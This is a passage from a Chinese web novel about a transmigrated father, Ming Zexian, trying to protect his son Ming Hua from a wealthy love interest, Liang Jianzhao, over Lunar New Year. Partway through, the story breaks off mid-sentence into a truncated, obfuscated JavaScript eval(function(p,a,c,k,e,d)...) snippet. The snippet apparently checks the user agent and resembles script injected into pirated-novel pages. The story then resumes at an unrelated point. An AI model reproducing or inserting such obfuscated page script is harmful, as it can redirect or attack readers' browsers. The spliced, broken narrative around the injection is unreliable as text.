他上辈子就是学会计的,明则仙犹豫了一会儿,拿起了教辅书。 他在前几天已经在网上报名了初级注册会计师考试, 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明华闻言抬起头来,见是明则仙,于是道:“不小心把别人的书碰掉了,帮忙捡起来。” 他把书摞好,随即递给面前的少年,道: “你的书。” “掉地上,我不要了。”少年缓慢地瞥了明华。 明华微微一怔,随即低下头,看向那些书,有些不知所措: “可是这些书都有封好,回去拆了就没事了,一点都不脏的。” “我不要了。”少年再次重复了一遍。 “.........”明华不知道该怎么办,只能抬眼,看向明则仙,试图想从明则仙这里得到处理问题的答案。 “明华,你再帮这个同学重新拿过书。”明则仙说: “去吧。” 明华迟疑了一会儿,随即点了点头,转身离去了。 那少年在一旁的椅子上坐了下来,一副事不关己高高挂起的模样。 没多久,一个穿着裙子的小女孩就跑了过来,面向少年, “哥哥。” 那小女孩似乎有些怕少年,一边走一边背逐渐挺起来,站的很端正,小声道: “你的书买好了吗?” 少年头也不抬,低头玩手机。 “.........”小女孩闻言纠结了一会儿,随即又道: “哥哥他们在外面等着你。” 少年这才抬起头,看了小女孩,片刻后不紧不慢地开了口: “知道了。” 他的声音很冷,小女孩不自觉打了一个哆嗦,得到回答之后,就如蒙大赦地跑开了。 少年也站了起来,朝门外走去。 明则仙没拦他,看着他的背影走出了书店的大门。 书店门前正停着一辆路虎,没多久,车窗降下来,露出副驾驶上一张戴着墨镜的人脸。 那人拿下墨镜,五官清晰地在明则仙的眼底露出,漂亮的过分,说的话也一字一句地流淌进明则仙的耳朵里,令他瞳仁骤缩: “检昭。” 陆兰妙笑道: “欢迎回国。” 梁检昭颔首,等人帮他打开车门之后,才坐了进去。 他坐定之后,下意识转过头去,看向捧着书走出来的明华,眼底微微起了些许波动。 明华似乎没想到梁检昭走了,还站在原地东张西望。 “爸爸,那个男生呢。”明华问:“走了吗?” “嗯。”明则仙和梁检昭对上视线,随即伸出手,把明华的脸转了回去,面向墙壁,不让梁检昭再盯着明华的脸看: “明华。” “嗯?怎么了爸爸。”明华保持着被明则仙按着脸动弹不得的姿势,有些疑惑道:“爸爸你的表情忽然变的好奇怪哦。” 明则仙深吸一口气,脑海中又浮现出陆兰妙开口喊“检昭”的那一刻,心中微微一沉。 那本书里梁检昭对明华虐身虐心之后,确实短暂出现过一个攻二,是梁检昭哥哥的朋友。 明则仙当初看小说的时候就一目十行的,加上那个攻二出场次数又太少,明华已经忘了那个攻二叫什么名字了,今日听到陆兰妙坐在副驾驶上垂头看着梁检昭的样子,大概可以确定梁检昭的身份,和陆兰妙炮灰攻二的身份。 他以为梁检昭起码会在下个学期才会出现,没想到竟然这么快就出场了? 不过光凭一个名字也算不了什么,也许这个检昭根本就不是书里那个梁检昭....... 正当明则仙忐忑不已,不断肯定又在心里否定自己的想法的时候,正纠结间,一旁的明华见明则仙久不开口,冷不丁来了一句: “爸爸,刚刚那个男生好帅呀。” 他小声说:“我还从来没见过这么好看的男生。” 明则仙:“..........” 他微微瞪大眼睛,看着脸颊上闪过一丝羞涩和倾慕的明华,大脑嗡的一声,变的一片空白,还未消化完这句话就猛然抬高声音,吼道: “哪里好看了!” 他铁青着脸,道:“明华,转过头去,不许再看了!” 14.帅哥你谁 明则仙快要被明华气炸了。 他想,他的好大儿就........就这么肤浅的? 就凭一张脸就爱上了,沦陷了,无法自拔了? 这个看脸的世界还能不能好了! 思及此,明则仙脸色铁青。 虽然他神情很难看,但明华还是止不住眼神往外乱瞟,试图再看梁检昭一眼,被明则仙轻轻地一巴掌打了回来: “不许看了。” 他说:“浅薄。” 他这一巴掌没用力,但明华还是感受到了微微的痛感,于是委屈地撅了撅嘴: “爸爸。” 他说:“那个人长的和明星似的,说不定就是个明星.......我看一眼怎么了嘛,说不定我还赚了!” “神经。”明则仙: “你看过那个明星出门不是把自己武装的严严实实的,恨不得连面也不露.......这个人就这么大大方方地给你看,哪里像是个明星?” 明华被训的耷拉下脑袋,但还是不服气,又道: “说不定..........说不定是什么十八线小糊咖呢?” 言罢,还没等明则仙发表意见,他又自顾自嘀咕道: “不对,他这么好看,就算现在是十八线小糊咖,以后也一定会成为大明星的!” 明则仙:“.........” 他真的要被明华气吐血了。 他拎起明华的耳朵,连教辅书也不买了,带着明华就往外走。 他现在才发现,明华不仅缺爱,还是个很严重的颜控! 虽然爱美之心人皆有之,但明华缺爱又颜控,这两个加在一起简直就是毁灭级buff,遇到个正常人还好,要是遇到梁检昭,不就是自讨苦吃吗! 明则仙终于意识到了问题的严重性。 明华养成缺爱的性格,他还能弥补过错,但,颜控要怎么改? 总不能去找一个比梁检昭更好看的人,摆在明华面前,说,看,这个人更帅,你喜欢他吧! 那万一要是明华喜欢上了那个人,但那个人比梁检昭更渣呢! 那不是彻底完蛋了! 明则仙要疯了。 不行,绝对不能让明华重蹈原书的覆辙! 要不.......让明华转学? 可这都寒假了,老师都放假了,他怎么联系学校,让明华转学? 完全不切实际啊! 他要是书里那种像陆兰妙或者梁检昭这样的天龙人也就算了,可偏偏他就是个平民老百姓,面对这些人,一点招都没有。 怎么办怎么办怎么办! 明则仙愁的烟都抽完了一包。 等到第二天明华醒来的时候,就被坐在沙发上胡子拉碴的明则仙吓了一大跳。 “爸,你怎么了?”明华揉了揉眼睛,站在门边,盯着明则仙看,都快不认识他了: “你一晚上没睡吗?” 明则仙一脸憔悴地看着明华。 他昨天晚上使劲儿回忆,半梦半醒之间惊醒时,都快把那本书的剧情倒背如流了。 他现在一看到明华,脑海中就浮现出梦中明华被梁检昭放弃后心碎跌入大海、最后流产得了抑郁症的场面,又荒诞又离奇又真实,吓的他浑身冷汗,快接近天亮的时候,就怎么也睡不着了。 “.......没事。” 明则仙揉了揉头发,感觉一晚上没睡,有些头重脚轻,头发都油的快要打结了,于是晃晃悠悠地站起,准备去洗头洗澡,洗掉一身的烟味。 明华贴心地给他准备好衣服。 今天就是除夕了,虽然一家人死的死死的死,但是还剩下父子几人,就还是要坐在一起吃团圆饭。 明则仙洗完头洗完澡,准备开始下厨弄点吃的,出了浴室,就看见明华坐在沙发上,津津有味地看着电视。 明则仙看着电视上油头粉面的小生,一边擦着头发,一边冷不丁道: “你喜欢这样的?” “啊........没有啊。”明华被问的一愣,下意识摇头,道: “我喜欢更帅一点的。” 他一边说,一边比划:“就是那种眼睛要细长一点,表情看起来凶一点,酷酷的,平时不怎么笑,但是笑起来又有点温柔的那种........” 他说完,脸上就浮现出些许的害羞:“我觉得这样的男生就很帅。” 明则仙听完这段描述,想了想,不由地问: “那你觉得你哥帅吗?” “我哥.........?”明华迟疑:“帅啊。” 明则仙话赶话:“那你怎么不喜欢你哥?非要喜欢那个梁检昭?” “喜欢.......我哥?”明华敏感地意识到明则仙话里的喜欢绝对不是兄弟之间的喜欢,艰难地理解完这句话,随即又道: “梁检昭是谁啊?” 他忽而眼睛一亮:“是白天在书店的那个男生?他叫梁检昭?哪个检哪个昭?爸爸你认识他?你怎么会知道他的名字?” 他一提到梁检昭就话多,活像是纸片人活过来了一样,表情也变得生动了,目光灼灼,让明则仙不敢直视,只轻轻地移开视线: “不认识。” 他长长吐出一口气:“小小年纪的不学好,不努力读书,天天就想着早恋。” “哪里有早恋嘛。”明华不开心地噘嘴: “我就是觉得他帅呀。” 他强调道:“就像我觉得哥哥帅一样.........就是欣赏,而已。” 明则仙心想你就放屁吧。 书里明华对父亲明则仙就是阳奉阴违,不仅瞒着明则仙和梁检昭交往,还未婚先孕,被梁检昭搞大肚子以后不敢回家,一个人躲在出租屋里看着两条杠的验孕棒,不知所措。 他也是在和梁检昭早恋的过程中,导致成绩退步的更厉害,原来只是班上倒数,后来高考的时候直接全校倒数,报志愿的时候又没报好,滑档考了个二本,但还好读了大学,不然真的是这辈子都差点要毁了。 但是梁检昭却顺顺利利地上了名校,人生得意事业一帆风顺,知道明华怀孕之后,直接甩给他一笔钱让他打掉。 明华第一个孩子就是在大学的时候打掉的,那时候明则仙还不知道,拿着明华的“包养费”醉生梦死,直到明华又怀上第二个孩子的时候,又因为流产得了抑郁症自杀,他的父亲明则仙失去了包养费和经济来源,最后因为年老体弱,加上酒精中毒,直接死在家里了。 死了三天,直到尸臭传出,引起旁人的注意,才被邻居发现并报警。 明则仙靠明华,明华靠梁检昭,明景靠白富美,最后三个人都失去了靠山,死的无比凄惨。 俗话说,靠人人跑,靠山山倒,靠谁都不如靠自己。 虽然不能用受害者有罪论的视角看明华,但一开始明华就对梁检昭抱有不切实际的心思。 他和梁检昭的社会地位相差太多,相爱的前提是平等,两个人无论是社会经济地位还是人格上都不平等,结局自然也是以明华惨烈的牺牲和自毁作为结尾。 他想要的爱,一辈子都不可能从梁检昭身上得到,因为梁检昭根本就不喜欢他,不爱他。 梁检昭永远在俯视明华,没有从明华身上得到一点他喜欢或者欣赏的点,对待明华就算是一个召之即来挥之即去的宠物,花点钱就能摆平,明华在梁检昭面前毫无自尊,卑微到尘埃里,自然不可能得到梁检昭的尊重,更遑论是爱呢? 明则仙自己就是男人,知道男人的劣根性—— 男人永远对得不到的东西最上心,就像是梁检昭对白月光,白富美对明景,因为得不到,所以更想要,而对于轻而易举已经拥有的,根本就不会珍惜和在意。 明华对梁检昭来说,就是个长得有点像白月光的替身。 毕竟原文的明华除了长相,一无是处,不仅家庭条件奇差,谈吐举止上不了台面,畏畏缩缩,连文化水平也相对不高,适应不了上流社会的需要,加上对梁检昭死心塌地的,像是宠物狗一样踢一脚也不会离开,梁检昭怎么可能会把他放在心上? 明华的悲剧大部分都是由梁检昭造成的,这无可否认,但明则仙想,如果明华学不会自爱,反复地将付出奉献和牺牲,作为爱的筹码一厢情愿地加在一个稍微对他好一些就沦陷的身上,不断地给旁人加上恋爱的滤镜,让那个人在他的心里越来越完美,那么今天就算没有梁检昭,也有王检昭李检昭,总之,相似的命运会像噩梦一样缠着他,永远无法摆脱。 唉........该怎么办呢? 明则仙一边做饭,一边听着电视的背景音,思考。 自爱这件事,不是马上就能学会的,要从言传身教中,润物细无声地去改变明华的想法。 那.........要不从让明华从对皮囊漂亮的人祛魅开始? 刀切在了砧板上,发出沉闷的响声,明则仙将葱姜蒜一起下锅,伴随着逐渐升起的焰火,心中一个想法,逐渐成型。 竟然明华这么喜欢脸,他就让他经常看见长得帅的人,慢慢习惯,不就不会随便对长的漂亮的人上滤镜,以平常心看待? 不是明则仙吹,他上大学的时候,也是蝉联大学校草四年的帅哥,就算读了研究生,也是一样,离校多年,学校的论坛依旧有他的传说。 明则仙把做好的鱼端上桌。 明华正在低头给杯子里装椰汁,冷不丁听见明则仙来了一句: “明华。” 明华下意识抬起头,看着明则仙,疑惑道:“怎么了,爸爸?” 明则仙盯着明华,半晌道: “你觉得爸爸帅吗?” 明华:“.........” 他手一抖,椰子汁差点撒出去。 意识到这个问题之后,他手忙脚乱地放下瓶子,抽了几张纸,擦干净桌面,一边擦一边道:“爸爸,你怎么会突然问这个。” “你别转移话题,你先回答。”明则仙说: “爸爸和梁..........也就是你昨天在书店遇到的男生,你觉得谁更帅?” “...........” 话音刚落,室内安静了有一分钟。 没人说话。 只有明华机械性擦桌子的动静。 明则仙其实对自己的脸还是挺有信心的。 来到这个世界后,他忙着赚钱,每天累的倒头就睡,所以也没有怎么关注过自己的脸,还以为自己还像没传过来时候一样帅,根本没有去想过,自己的脸已经按照原书的设定需要,变成了一个因为酗酒抽烟熬夜而变丑的大叔形象。 他没等到明华的回答,又催促几句,明华才缓慢开了口,视线一直低着,看着桌面,也不知道是在憋笑还是在忍耐: “爸爸你.........心灵美。” 明则仙:“..........” 明则仙:“..........” 他气的两眼翻白,差点跳起来: “明!华!” “爸爸,你别生气嘛。”明华觑着明则仙,为难道: “爸爸,虽然说我很爱你,很尊敬你,但是我也,我也不能说谎嘛。” 他委婉道:“爸爸你属于耐看型。” 明则仙脸都气绿了。 他的自尊心感受到了深深的挫败。 怎么回事? 难道男同性恋的审美就是异于常人? 他当年在学校的事后,追他的男男女女也不少,没听所过男同性恋有恋丑癖的啊? 他不帅........他怎么可能不帅!? 明则仙一脸郁闷地吃完了饭。 洗完澡,他躺在床上,翻来覆去睡不着,最后实在没忍住,爬起来,发了一条朋友圈—— “吾儿叛逆,伤透我心。” 他发这条消息的时候,有些晚了,但等了一会儿,他切回页面,发现朋友圈的标志处,多了一个小红点。 ........是谁? 明则仙心中微微有些疑惑,犹豫片刻,点进去,发现是陆兰妙评论了他: “大叔,你大半夜的怎么抑郁了?” 明则仙大晚上找不到聊天的人,也确实有倾诉的欲望,于是也不管陆兰妙想不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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现在是过年,理发店有些没开门,但有些还是开了。 明则仙犹豫了片刻,还是狠了狠心,决定好好给自己做一个发型,把自己拾掇起来,免得自己的小儿子一副没见过世面的样子,随便就被个长得好看的黄毛骗走了。 大清早遇到第一个顾客,tony走了过来,开门,上下打量了明则仙一样,随即道: “大叔,你这是来........?” “我来剪个头发。”明则仙双手插兜,抬起眼,看着Tony,道: “你给我剪一个时兴的发型。” Tony看着明则仙破旧黯淡的衣服,知道这是个办不起卡的,决定随便给明则仙洗个头,搞个快剪,于是点头道: “请进。” 明则仙踏入了明亮的理发店。 进去的时候,他还被理发店过于明亮的灯光晃了一下眼睛,瞳仁微缩。 四面都是镜子,明则仙下意识往前看去,在镜子里看见了一个胡子拉扎、长发凌乱地男人。 “我去!”明则仙被自己丑了一大跳。 家里常年阴暗,没有镜子,明则仙也很少照自己的脸,理发店的镜子像是照妖镜一样把他的脸照的清清楚楚,明则仙甚至还能看见自己眼下的黑眼圈。 ..........确实有些丑。 明则仙伸出手,摸了摸自己干枯毛躁的头发,无奈地苦笑。 难怪明华说自己不能说谎呢,对着这张脸,确实很难违心说出“好看”两个字。 “顾客,过来这里洗个头吧。”Tony老师打了个哈欠,决定加快速度,早点把这个老大叔弄走。 “来了。”明则仙躺了下去,任由温热的水冲刷过自己的头顶。 用洗发素抹了几遍之后,明则仙的头发总算不再干枯毛躁了。 他的头发全部被理发师梳到后面,露出饱满宽阔的额头。 没有了长发的遮挡,他的眉眼一下子就变的清晰明亮起来。 看着镜子里略微有些陌生的人脸,理发师愣了愣,在明则仙的催促声里,恍然回过神来。 “大叔你.........眼睛还挺好看的。”理发师拿起剪子,大概比了比:“剪短到这里可以吗?” “可以,剪吧。”明则仙说: “这方面,我不专业,随你发挥了。” 理发师闻言,定了定神,点了点头。 头发一点一点掉落在地上,明则仙的眉目也如同潮水褪去露出井底的石头,逐渐变的明显清晰。 明则仙看着镜子里的自己,总算从清爽的头发里,找回了一丝当年同学口中校草的影子。 呜呜的电吹风很快响起,很快,头发就被吹干,理发师看着镜子里倒映出的清爽利落的男人,微微一愣。 他迟疑了半晌,怀疑自己眼花了。 这位帅哥,你是? “你们这能刮胡子吗?” 明则仙决定一次性把自己捣拾到位一点,随即又开口问了句。 理发师从迷糊的状态里回过神来,点了点头。 他迷迷糊糊地拿过了剃须刀,迷迷糊糊地给明则仙刮完胡子,又迷迷糊糊地送走了明则仙。 没有了胡子和长发的束缚,明则仙感觉整个人都清爽舒服了不少。 他对着手机屏幕看了看,随即难得自拍一张,发给了陆兰妙: “我帅吗?” 他发完这个图片和这句话就把手机放了回去,转身往回走,准备回家。 过了半小时后,等到明则仙从公交车上下来,手机才抖动了几下。 他拿起手机一看,见陆兰妙回复了他: “大叔,你哪里偷的网图?” 他说:“这男的p的太过分了哈,要是真人真有这么帅,我明天就改和你姓。” 明则仙:“...........”